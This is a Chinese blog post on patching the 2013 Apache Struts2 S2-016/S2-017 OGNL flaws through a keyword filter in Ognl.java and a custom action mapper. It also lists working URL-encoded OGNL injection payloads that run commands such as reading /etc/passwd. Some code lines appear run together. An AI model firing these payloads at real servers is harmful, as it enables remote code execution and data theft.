昨天struts2爆了一个好大的漏洞,用道哥的话来说就是:“今天下午整个中国的黑客圈像疯了一样开始利用这个漏洞黑网站,大家可以感受一下。”

看下乌云这两天的数据:

相关报道:

灾难日:中国互联网惨遭Struts2高危漏洞摧残

Struts2被曝重要漏洞,波及全系版本

官方描述:

S2-016:https://cwiki.apache.org/confluence/display/WW/S2-016
S2-017:https://cwiki.apache.org/confluence/display/WW/S2-017

============================== 好了,下面是正题 ==============================

struts2漏洞S2-016、S2-017修补方案:

为了排版整齐一点,将代码放在最后。

方案1:
  方案介绍:
    手工修改Ognl.jar源码,增加恶意代码过滤。此方法只能修补S2-016漏洞,但是对以后可能产生的ognl漏洞有预防作用。
  操作步骤:
    1.1 找到项目中ognl-version.jar,然后找到其对应的源码。把源码解压后,导入到eclipse。找到Ongl.java中修改如下代码:
    1.2 将上面修改后的项目通过eclipse导出为ognl-my.jar, 将它放到lib目录。
    1.3 删除原来ognl-version.jar
    1.4 重启服务器。

方案2:
  方案介绍:
    重写struts2 DefaultActionMapper的handleSpecialParameters方法,增加action、redirect、redirectAction等参数的过滤。此方法可修补S2-016、S2-017漏洞。
  操作步骤:
    2.1 新建com/website/struts2/MyDefaultActionMapper.java,代码如下:
    2.2 复制MyDefaultActionMapper.class 到 /com/website/struts2/目录。
    2.3 用struts.xml添加如下代码:
    2.4 重启服务器。

注意:
1.方案1中的“恶意代码”和方案2中的“action、redirect、redirectAction”均为hardcode,如有需要可改为从配置文件读取。
2.方案1原则上对系统没有影响,方案2进行了redirect和redirectAction可跳转性测试,但未进行全站测试。
3.方案1和方案2可以同时执行,也可只执行单独一个。

附件:

Ognl.java

public static Object parseExpression(String expression)
throws OgnlException {
// -- jason.zhou 20130718 add start -- //
// Runtime、ProcessBuilder为恶意代码,其它可自行添加
String evalMethod[] = { "Runtime", "ProcessBuilder" };
String methodString = null;
methodString = expression.toLowerCase();
for (int i = 0; i < evalMethod.length; i++) {
if (methodString.indexOf(evalMethod[i].toLowerCase()) > -1) {
System.out.print("|OGNL正在执行恶意语句|" + methodString + "|看到这个消息,请联系安全工程师!!!");
return null;
}
}
// -- jason.zhou 20130718 add start -- // try {
OgnlParser parser = new OgnlParser(new StringReader(expression));
return parser.topLevelExpression();
} catch (ParseException e) {
throw new ExpressionSyntaxException(expression, e);
} catch (TokenMgrError e) {
throw new ExpressionSyntaxException(expression, e);
}
}

MyDefaultActionMapper.java

/**
* zhounenghua@163.com copyright
*/
package com.website.struts2; /**
* @author jason.zhou
* @date 2013-7-18
*/
public class MyDefaultActionMapper extends DefaultActionMapper {
public void handleSpecialParameters(HttpServletRequest request, ActionMapping mapping) {
Set uniqueParameters = new HashSet();
Map parameterMap = request.getParameterMap();
for (Iterator iterator = parameterMap.keySet().iterator(); iterator.hasNext();) {
String key = (String) iterator.next(); if ((key.endsWith(".x")) || (key.endsWith(".y"))) {
key = key.substring(0, key.length() - 2);
} // -- jason.zhou 20130708 add start -- //
if ((key.contains("redirect:")) || (key.contains("redirectAction:")) || (key.contains("action:"))) {
return;
}
// -- jason.zhou 20130708 add end -- // if (!uniqueParameters.contains(key)) {
ParameterAction parameterAction = (ParameterAction) this.prefixTrie.get(key);
if (parameterAction != null) {
parameterAction.execute(key, mapping);
uniqueParameters.add(key);
break;
}
}
}
}
}

struts.xml

<!-- 为修复struts2 s2-016、s2-017漏洞,重写DefaultActionMapper -->
<bean type="org.apache.struts2.dispatcher.mapper.ActionMapper" name="myDefaultActionMapper" class="com.website.struts2.MyDefaultActionMapper" />
<constant name="struts.mapper.class" value="myDefaultActionMapper" />

补充几个测试代码(本代码来源于互联网,对使用该段代码造成的后果,本人不负任何责任):

linux:

1.查看用户
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'cat','/etc/passwd'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
2.查看路径
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]%20{'ls','-l'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader%20(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%20%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println%20(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
3.查看指定路径
?redirect:$%7B%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%20%7B'ls','-l','/webapp/proc/portal/'%7D)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader%20(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char%5B50000%5D,%23d.read(%23e),%23matt%3d%20%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println%20(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D
4.项目路径
?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D
windows:

2.任意代码执行
?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'notepad.exe','goes','here'})).start()}

本文代码有参考如下网址:http://www.inbreak.net/archives/507

struts2 最新漏洞 S2-016、S2-017修补方案的更多相关文章

  1. S02-45 struts2 最新漏洞 学习记录

    今天和朋友一起学习S02-45.按照官方解释:Content-Type:multipart/form-data 这个条件成立的时候,能够触发jakarta的上传漏洞.可能导致远程执行任意代码或者上传文 ...

  2. struts2最新s2-016代码执行漏洞CVE-2013-2251

    这是一个代码执行漏洞,利用java代码来执行系统命令.   影响版本:Struts 2.0.0 – Struts 2.3.15   漏洞说明: The Struts 2 DefaultActionMa ...

  3. struts2 s2-032漏洞分析

    0x01Brief Description 最近面试几家公司,很多都问到了s2漏洞的原理,之前调试分析过java反序列化的漏洞,觉得s2漏洞应该不会太难,今天就分析了一下,然后发现其实漏洞的原理不难, ...

  4. [原创]K8 Struts2 Exp 20170310 S2-045(Struts2综合漏洞利用工具)

    工具: K8 Struts2 Exploit组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.blog.163.com发布: 2014/7/31 10:24 ...

  5. Struts2系列漏洞起始篇

    前言 到目前位置struts2的漏洞编号已经到了S2-057,一直想系统的学习下Struts2的漏洞,但由于工作量较大,一直搁浅.最近由于工作需要,借此机会来填下坑.个人认为一个框架漏洞出来了仅仅看下 ...

  6. 程序世界系列之-struts2安全漏洞引发的安全杂谈(上)

    目录: 1.讨论关于struts 安全问题. 2.黑客文化. 3.如何降低安全漏洞的出现. 4.忠告建议. 题记: 这篇文章本来很早应该和大家见面的,中间由于个人原因调整了系列文章发布时间,实属罪过. ...

  7. Ewebeditor最新漏洞及漏洞大全

    Ewebeditor最新漏洞及漏洞大全[收集] 来源:转载作者:佚名时间:2009-06-03 00:04:26 下面文章收集转载于网络:) 算是比較全面的ewebeditor编辑器的漏洞收集,如今的 ...

  8. Ewebeditor最新漏洞和漏洞指数

    Ewebeditor最新漏洞和漏洞指数[收集] 来源:转载作者:佚名时间:2009-06-03 00:04:26 下面文章收集转载于网络:) 算是比較全面的ewebeditor编辑器的漏洞收集,如今的 ...

  9. BBSXP最新漏洞 简单注入检測 万能password

    BBSXP最新漏洞 漏洞日期:2005年7月1日受害版本号:眼下全部BBSXP漏洞利用:查前台password注入语句:blog.asp?id=1%20union%20select%201,1,use ...

随机推荐

  1. iPhone开发之UIScrollView初步

    来源:http://blog.csdn.net/htttw/article/details/7891396 iPhone开发之UIScrollView初步 今天我们初步介绍以一下iPhone开发中的U ...

  2. yield self和instance_eval用法区别

    class Foo def initialize(&block) instance_eval(&block) if block_given? end end class Foo def ...

  3. jps命令

    转载:http://blog.csdn.net/wanglha/article/details/40181701 ps -- JavaVirtual Machine Process Status To ...

  4. 从0到1搭建移动App功能自动化测试平台(0):背景介绍和平台规划

    本文作者: 伯乐在线 - debugtalk .未经作者许可,禁止转载!欢迎加入伯乐在线 专栏作者. 转载地址:http://blog.jobbole.com/101221/ 背景 最近新加入DJI的 ...

  5. vs 2012 智能提示后为何不能 直接按enter键把提示的内容输入

    这个是VS的"建议完成模式"和"标准模式",两者间切换按快捷键:Ctrl+Alt+空格键

  6. [Flex] PopUpButton系列 —— 添加按钮图标

    <?xml version="1.0" encoding="utf-8"?><!--为主按钮添加默认图标 PopUpButtonIcon.mx ...

  7. Bootstrap配套的js框架

    求几个搭配bootstrap的js框架.实现如表单验证,文件多传下载等等 Bootstrap File Input文件选择控件: PNotify通知插件: ClockPicker时间拾取器: Boot ...

  8. Java错误:很奇怪的错误。。。

    刚刚调试java web中出现了一个很奇怪的现象,前端有一个页面通过ajax调用后台的servlet,当我把后台的servlet代码修改后(将返回值由a修改为b),前端页面仍然获取的是a.调试跟踪se ...

  9. [POJ 2586] Y2K Accounting Bug (贪心)

    题目链接:http://poj.org/problem?id=2586 题目大意:(真难读懂啊)给你两个数,s,d,意思是MS公司每个月可能赚钱,也可能赔钱,如果赚钱的话,就是赚s元,如果赔钱的话,就 ...

  10. unique踢出相同元素

    unique函数的功能是:去除相邻的重复元素(只保留一个). 函数参数:unique(first,last,compare); //first为容器的首迭代器,last为容器的末迭代器,compare ...